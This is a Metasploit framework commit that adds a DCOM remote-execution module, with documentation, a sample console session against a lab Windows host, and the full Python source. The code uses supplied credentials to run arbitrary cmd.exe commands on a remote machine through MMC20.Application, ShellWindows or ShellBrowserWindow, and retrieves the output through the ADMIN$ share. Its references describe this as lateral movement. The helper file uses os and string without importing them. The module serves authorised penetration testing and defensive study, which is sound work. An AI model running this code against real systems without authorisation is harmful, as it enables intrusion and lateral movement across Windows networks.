Land #9816, Add the scanner/smb/impacket/dcomexec module

4.x
Jacob Robles 2018-05-16 07:15:32 -05:00 committed by Metasploit
parent 9a273a2663
commit 6e71f5c5fd
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
3 changed files with 524 additions and 0 deletions

View File

@ -0,0 +1,105 @@
## Description
A similar approach to psexec but executing commands through DCOM.
You can select different objects to be used to execute the commands.
Currently supported objects are:
1. MMC20.Application (`49B2791A-B1AE-4C90-9B8E-E860BA07F889`)
- Tested Windows 7, Windows 10, Server 2012R2
1. ShellWindows (`9BA05972-F6A8-11CF-A442-00A0C90A8F39`)
- Tested Windows 7, Windows 10, Server 2012R2
1. ShellBrowserWindow (`C08AFD90-F2A1-11D1-8455-00A0C91F3880`)
- Tested Windows 10, Server 2012R2
## Verification Steps
1. Install [Impacket][1] v0.9.17 from GitHub. The `impacket` package must be in
Python's module path, so `import impacket` works from any directory.
1. Install [pycrypto][2] v2.7 (the experimental release). Impacket requires this
specific version.
1. Start msfconsole
1. Do: `use auxiliary/scanner/smb/impacket/dcomexec`
1. Set: `COMMAND`, `RHOSTS`, `SMBUser`, `SMBPass`
1. Do: `run`, see the command result (if `OUTPUT` is enabled)
## Options
**OUTPUT**
When the `OUTPUT` option is enabled, the result of the command will be written
to a temporary file on the remote host and then retrieved. This allows the
module user to view the output but also causes it to be written to disk before
it is retrieved and deleted.
## Scenario
```
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/dcomexec) > show options
Module options (auxiliary/scanner/smb/impacket/dcomexec):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND ipconfig yes The command to execute
OBJECT MMC20 yes The DCOM object to use for execution (Accepted: ShellWindows, ShellBrowserWindow, MMC20)
OUTPUT true yes Get the output of the executed command
RHOSTS 192.168.90.11 yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass wakawaka yes The password for the specified username
SMBUser spencer yes The username to authenticate as
THREADS 1 yes The number of concurrent threads
metasploit-framework (S:0 J:1) auxiliary(scanner/smb/impacket/dcomexec) > run
[*] [2018.04.04-17:07:51] Running for 192.168.90.11...
[*] [2018.04.04-17:07:51] 192.168.90.11 - SMBv3.0 dialect used
[*] [2018.04.04-17:07:51] 192.168.90.11 - Target system is 192.168.90.11 and isFDQN is False
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding: Windows8VM[55339]
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding: 10.0.3.15[55339]
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding: 192.168.90.11[55339]
[*] [2018.04.04-17:07:51] 192.168.90.11 - StringBinding chosen: ncacn_ip_tcp:192.168.90.11[55339]
[*] [2018.04.04-17:07:52]
Windows IP Configuration
Ethernet adapter Ethernet 5:
Connection-specific DNS Suffix . : foo.lan
Link-local IPv6 Address . . . . . : fe80::9ceb:820e:7c6b:def9%17
IPv4 Address. . . . . . . . . . . : 10.0.3.15
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.3.2
Ethernet adapter Local Area Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet 3:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet 4:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.90.11
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Tunnel adapter isatap.foo.lan:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : foo.lan
Tunnel adapter isatap.{70FE2ED7-E141-40A9-9CAF-E8556F6A4E80}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
[*] [2018.04.04-17:07:52] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
[1]: https://github.com/CoreSecurity/impacket
[2]: https://www.dlitz.net/software/pycrypto/

View File

@ -0,0 +1,112 @@
import logging
import ntpath
import time
import metasploit.module as module
OUTPUT_FILENAME = '__' + str(time.time())
def pre_run_hook(args):
if 'rhost' in args:
module.LogHandler.setup(msg_prefix="{0} - ".format(args['rhost']))
else:
module.LogHandler.setup()
class RemoteShell(object):
def __init__(self, share, transferClient):
self._share = share
self._output = '\\' + OUTPUT_FILENAME
self._outputBuffer = ''
self.__transferClient = transferClient
self._noOutput = False
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self._noOutput = True
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self._outputBuffer.strip('\r\n')) > 0:
self._outputBuffer = ''
else:
self._pwd = ntpath.normpath(ntpath.join(self._pwd, s))
self.execute_remote('cd ')
self._pwd = self._outputBuffer.strip('\r\n')
self._outputBuffer = ''
def do_get(self, src_path):
try:
newPath = ntpath.normpath(ntpath.join(self._pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
fh = open(filename, 'wb')
logging.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
fh.close()
except Exception, e:
logging.error(str(e))
if os.path.exists(filename):
os.remove(filename)
def do_put(self, s):
try:
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = ''
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
dst_path = string.replace(dst_path, '/','\\')
pathname = ntpath.join(ntpath.join(self._pwd,dst_path), src_file)
drive, tail = ntpath.splitdrive(pathname)
logging.info("Uploading %s to %s" % (src_file, pathname))
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
fh.close()
except Exception, e:
logging.critical(str(e))
def do_exit(self, _):
return True
def onecmd(self, line):
self.send_data(line)
def get_output(self):
def output_callback(data):
self._outputBuffer += data
if self._noOutput is True:
self._outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self._share, self._output, output_callback)
break
except Exception, e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
# Output not finished, let's wait
time.sleep(1)
pass
elif str(e).find('Broken') >= 0:
# The SMB Connection might have timed out, let's try reconnecting
logging.debug('Connection broken, trying to recreate it')
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self._share, self._output)
def send_data(self, data):
self.execute_remote(data)
if self._noOutput is False:
module.log(self._outputBuffer)
self._outputBuffer = ''

View File

@ -0,0 +1,307 @@
#!/usr/bin/env python
# Copyright (c) 2003-2018 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import logging
import os
import string
import sys
import time
try:
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, \
IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
VARIANT, VARENUM, DISPATCH_METHOD
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, \
OBJREF_CUSTOM, OBJREF_HANDLER, OBJREF_EXTENDED, OBJREF_STANDARD, \
FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
IRemUnknown2, INTERFACE
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smbconnection import SMBConnection, SMB_DIALECT, \
SMB2_DIALECT_002, SMB2_DIALECT_21
except ImportError:
dependencies_missing = True
else:
dependencies_missing = False
import _msf_impacket
import metasploit.module as module
metadata = {
'name': 'DCOM Exec',
'description': '''
A similar approach to psexec but executing commands through DCOM. You
can select different objects to be used to execute the commands.
''',
'authors': ['beto', 'Marcello', 'Spencer McIntyre'],
'date': '2018-03-19',
'license': 'CORE_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/'},
{'type': 'url', 'ref': 'https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/'},
{'type': 'url', 'ref': 'https://github.com/CoreSecurity/impacket/blob/master/examples/dcomexec.py'},
{'type': 'aka', 'ref': 'dcomexec.py'},
],
'type': 'single_scanner',
'options': {
'COMMAND': {'type': 'string', 'description': 'The command to execute', 'required': True},
'OBJECT': {'type': 'enum', 'description': 'The DCOM object to use for execution', 'required': True, 'default': 'MMC20', 'values': ['ShellWindows', 'ShellBrowserWindow', 'MMC20']},
'OUTPUT': {'type': 'bool', 'description': 'Get the output of the executed command', 'required': True, 'default': True},
'SMBDomain': {'type': 'string', 'description': 'The Windows domain to use for authentication', 'required': False, 'default': '.'},
'SMBPass': {'type': 'string', 'description': 'The password for the specified username', 'required': True, 'default': None},
'SMBUser': {'type': 'string', 'description': 'The username to authenticate as', 'required': True, 'default': None},
}
}
class DCOMEXEC:
def __init__(self, command='', username='', password='', domain='', hashes=None, share=None,
noOutput=False, dcomObject=None):
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = None
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = False
self.__kdcHost = None
self.__dcomObject = dcomObject
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def getInterface(self, interface, resp):
# Now let's parse the answer and build an Interface instance
objRefType = OBJREF(''.join(resp))['flags']
objRef = None
if objRefType == FLAGS_OBJREF_CUSTOM:
objRef = OBJREF_CUSTOM(''.join(resp))
elif objRefType == FLAGS_OBJREF_HANDLER:
objRef = OBJREF_HANDLER(''.join(resp))
elif objRefType == FLAGS_OBJREF_STANDARD:
objRef = OBJREF_STANDARD(''.join(resp))
elif objRefType == FLAGS_OBJREF_EXTENDED:
objRef = OBJREF_EXTENDED(''.join(resp))
else:
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
return IRemUnknown2(
INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
target=interface.get_target()))
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
if self.__dcomObject == 'ShellWindows':
# ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Item',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
resp = iItem.GetIDsOfNames(('Document',))
resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = None
elif self.__dcomObject == 'ShellBrowserWindow':
# ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
elif self.__dcomObject == 'MMC20':
iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
else:
logging.fatal('Invalid object %s' % self.__dcomObject)
return
iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
if self.__dcomObject == 'MMC20':
resp = iDocument.GetIDsOfNames(('ActiveView',))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
else:
resp = iDocument.GetIDsOfNames(('Application',))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
self.shell.onecmd(self.__command)
except (Exception, KeyboardInterrupt), e:
if self.shell is not None:
self.shell.do_exit('')
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
class RemoteShell(_msf_impacket.RemoteShell):
def __init__(self, share, quit, executeShellCommand, smbConnection):
self._executeShellCommand = executeShellCommand
self._pwd = 'C:\\windows\\system32'
self._shell = 'cmd.exe'
self.__quit = quit
super(RemoteShell, self).__init__(share, smbConnection)
def do_exit(self, _):
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
return True
def execute_remote(self, data):
command = '/Q /c ' + data
if self._noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
dispParams = DISPPARAMS(None, False)
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 5
dispParams['cNamedArgs'] = 0
arg0 = VARIANT(None, False)
arg0['clSize'] = 5
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = self._shell
arg1 = VARIANT(None, False)
arg1['clSize'] = 5
arg1['vt'] = VARENUM.VT_BSTR
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
arg1['_varUnion']['bstrVal']['asData'] = command.decode('utf-8')
arg2 = VARIANT(None, False)
arg2['clSize'] = 5
arg2['vt'] = VARENUM.VT_BSTR
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
arg2['_varUnion']['bstrVal']['asData'] = self._pwd
arg3 = VARIANT(None, False)
arg3['clSize'] = 5
arg3['vt'] = VARENUM.VT_BSTR
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
arg3['_varUnion']['bstrVal']['asData'] = ''
arg4 = VARIANT(None, False)
arg4['clSize'] = 5
arg4['vt'] = VARENUM.VT_BSTR
arg4['_varUnion']['tag'] = VARENUM.VT_BSTR
arg4['_varUnion']['bstrVal']['asData'] = '0'
dispParams['rgvarg'].append(arg4)
dispParams['rgvarg'].append(arg3)
dispParams['rgvarg'].append(arg2)
dispParams['rgvarg'].append(arg1)
dispParams['rgvarg'].append(arg0)
self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
0, [], [])
self.get_output()
class RemoteShellMMC20(RemoteShell):
def execute_remote(self, data):
command = '/Q /c ' + data
if self._noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
dispParams = DISPPARAMS(None, False)
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 4
dispParams['cNamedArgs'] = 0
arg0 = VARIANT(None, False)
arg0['clSize'] = 5
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = self._shell
arg1 = VARIANT(None, False)
arg1['clSize'] = 5
arg1['vt'] = VARENUM.VT_BSTR
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
arg1['_varUnion']['bstrVal']['asData'] = self._pwd
arg2 = VARIANT(None, False)
arg2['clSize'] = 5
arg2['vt'] = VARENUM.VT_BSTR
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
arg2['_varUnion']['bstrVal']['asData'] = command.decode('utf-8')
arg3 = VARIANT(None, False)
arg3['clSize'] = 5
arg3['vt'] = VARENUM.VT_BSTR
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
arg3['_varUnion']['bstrVal']['asData'] = '7'
dispParams['rgvarg'].append(arg3)
dispParams['rgvarg'].append(arg2)
dispParams['rgvarg'].append(arg1)
dispParams['rgvarg'].append(arg0)
self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
0, [], [])
self.get_output()
def run(args):
if dependencies_missing:
module.log('Module dependencies (impacket) missing, cannot continue', level='error')
return
_msf_impacket.pre_run_hook(args)
executer = DCOMEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'],
share='ADMIN$', noOutput=args['OUTPUT'] != 'true', dcomObject=args['OBJECT'])
executer.run(args['rhost'])
if __name__ == "__main__":
module.run(metadata, run)